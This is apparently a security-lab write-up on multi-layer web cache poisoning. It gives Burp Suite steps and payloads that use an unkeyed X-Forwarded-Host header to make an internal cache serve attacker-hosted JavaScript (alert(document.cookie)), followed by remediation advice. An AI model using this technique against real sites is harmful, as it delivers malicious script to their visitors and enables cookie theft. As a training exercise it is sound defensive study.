SCENARIO

The application is vulnerable to web cache poisoning because it uses multiple layers of caching. We will try to poison the internal cache so that the home page executes alert(document.cookie) in the victim's browser.

**PROCEDURE**

1. Open the web application and send the request for **homepage** to BurpSuite’s Repeater.
2. Observe that any changes to the query string are always reflected in the response. This indicates that the external cache includes this in the cache key. Use Param Miner to add a dynamic cache-buster query parameter. This will allow us to bypass the external cache.
3. Observe that the X-Forwarded-Host header is supported. Add this to our request as in Payload 1.
4. Keep sending the request. Eventually, the URL for the geolocate.js resource will also be overwritten with our exploit server URL. This indicates that this fragment is being cached separately by the internal cache. Notice that we’ve been getting a cache hit for this fragment even with the cache-buster query parameter - the query string is unkeyed by the internal cache.
5. Remove the X-Forwarded-Host header and resend the request. Notice that the internally cached fragment still reflects our exploit server URL, but the other two URLs do not. This indicates that the header is unkeyed by the internal cache but keyed by the external one. Therefore, we can poison the internally cached fragment using this header.
6. Go to the exploit server and create a file at **/js/geolocate.js** containing the Payload 2. Store the exploit.
7. Back in Burp Repeater, disable the dynamic cache buster in the query string and re-add the X-Forwarded-Host header to point to your exploit server.
8. Send the malicious request after removing the cache buster parameter and keep replaying the request until we see our exploit server URL being reflected in the response and **X-Cache: hit** in the headers.

**PAYLOAD**

1. X-Forwarded-Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net
2. alert(document.cookie)

**PROOF OF CONCEPT**

****

**REMEDIATION**

1. **Unique Cache Keys for All Layers:** It's crucial to ensure that all caching layers use the same criteria for determining cache keys. This avoids inconsistencies that attackers can exploit. If different layers of caching are present, all elements, including headers and query parameters, must be taken into account for cache key generation.
2. **Avoid Caching Sensitive User Data:** Web applications should avoid caching pages or fragments that contain sensitive user data. If caching is required, ensure that the cache key uniquely identifies the user and their session.
3. **Validate Headers:** Headers like X-Forwarded-Host can be easily spoofed by attackers. Validate or discard any headers that aren't essential for processing the request. If validation is performed, compare headers against a whitelist of known good values.
4. **Implement Cache Control Headers:** Use cache control headers to instruct caches about which content should be cached and for how long. Explicitly set the no-cache and no-store directives for responses that should not be cached.
5. **Beware of Internal Caching Mechanisms:** Recognize and secure internal caching mechanisms separately from external caches. This ensures that if one cache is poisoned, the other remains unaffected.
6. **Consistent Parameter Parsing:** Ensure that parameter parsing is consistent between all layers and components of the application. This prevents attackers from leveraging discrepancies to poison caches.
7. **Regularly Clear Caches:** Establish a policy for regularly clearing caches, especially when deploying updates or changes to the application.
8. **Disable Caching for Dynamic Content:** Content that is dynamic and user-specific should not be cached. This helps prevent scenarios where one user's data might be served to another user.